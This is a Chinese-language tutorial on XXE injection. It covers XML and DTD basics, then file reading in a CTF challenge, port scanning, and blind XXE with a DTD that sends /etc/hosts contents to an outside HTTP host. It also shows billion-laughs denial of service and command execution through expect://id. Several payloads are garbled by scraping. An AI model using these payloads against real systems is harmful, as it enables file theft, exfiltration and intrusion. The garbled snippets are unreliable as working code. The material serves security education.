漏洞简介
XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,
XXE漏洞发生在应用程序解析XML输入时,
没有禁止外部实体的加载,导致可加载恶意外部文件,
造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。
xxe漏洞触发的点往往是可以上传xml文件的位置,
没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
XML基础
既然是XML注入,自然需要了解一些XML相关对知识。
什么是XML?
XML 指可扩展标记语言(EXtensible Markup Language)
XML 是一种标记语言,很类似 HTML
XML 的设计宗旨是传输数据,而非显示数据
XML 标签没有被预定义。您需要自行定义标签
XML 被设计为具有自我描述性
XML 是 W3C 的推荐标准
与HTML的对比
XML 不是 HTML 的替代
XML 和 HTML 为不同的目的而设计
XML 被设计为传输和存储数据,其焦点是数据的内容
HTML 被设计用来显示数据,其焦点是数据的外观
HTML 旨在显示信息,而 XML 旨在传输信息
简单说来XML主要是面向传输的
XML文档结构包括XML申明,DTD(文档类型定义),文档元素
XXE的成因与DTD文档相关
文档类型定义(DTD)可定义合法的XML文档构建模块,它使用一系列合法的元素来定义文档的结构。
DTD 可被成行地声明于XML文档中(内部引用),也可作为一个外部引用。
我们来看一个带DTD的实例
1 | !--XML申明--> |
可以用如下语法引入外部DTD1
在DTD文档中
DOCTYPE用于DTD的申明
SYSTEM,PUBLIC用于外部资源申明
ENTITY用于实体的申明,实体可以简单理解为变量,主要了解这几种
内部实体
<!ENTITY 实体名称 "实体的值">
外部实体
<!ENTITY 实体名称 SYSTEM "URL">
参数实体
<!ENTITY %实体名称 "值"> 或 <!ENTITY %实体名称 SYSTEM "URL">
参数实体用%实体名称申明,引用时也一样,其它的用实体名申明,引用时用&实体名
实体都只能在DTD中申明,参数实体只能在DTD中引用,其它实体在XML中引用
常见的外部实体类型有http,https,file,ftp等
攻击方式
引用外部实体进行文件读取
来看一道简单的ctf题目
题目要求读取/home/ctf/flag.txt文件
首先发包测试一下
看到能够解析json,修改content-
构造paylaod为1
2
3
4xml version="1.0" encoding="UTF-8"
<a>&file;</a>

可以看到解析了XML并返回了flag的内容
端口扫描
1 | xml version=”1.0″ encoding=”utf-8″ |
端口开放时会返回报错信息,端口不存在时会无法连接
Blind XXE
即不存在回显时的利用情况,主要思路如下
客户端发送payload 1给web服务器
web服务器向vps获取恶意DTD,并执行文件读取payload2
web服务器带着回显结果访问VPS上特定的FTP或者HTTP
通过VPS获得回显
payload 11
2
3
4
<foo></foo>
file.xml中的内容1
2<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % int "<!ENTITY % send system 'http://192.168.1.12:80/?p=%file;'>">
payload会在服务器端引用外部实体1
2
3
4
5<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % int "<!ENTITY % send system 'http://192.168.1.12:80/?p=%file;'>">
%int;%send;
最后实际生效的是这样
1 | <!ENTITY % send system 'http://192.168.1.12:80/?p=[文件内容]'> |
Dos
著名的“billion laughs”就是利用了XXE1
2
3
4
5
6
7
8
9
10
11
12
13xml version="1.0"
<lolz>&lol9;</lolz>
这里构造了一个递归调用的XML文件,lol2引用10次lol,lol3引用10次lol2即10^次lol,以此类推
命令执行
安装expect扩展的PHP环境里还可以直接执行系统命令,其他协议也有可能可以执行系统命令。1
2
3
4
5
6
7xml version=”1.0″ encoding=”utf-8″
<!ENTITY XXE SYSTEM "expect://id" >]>
<root>
<name>&XXE;</name>
</root>
防御XXE
要对DTD对内容进行校验是不大现实大,所以最有效大办法仍然是禁用外部实体。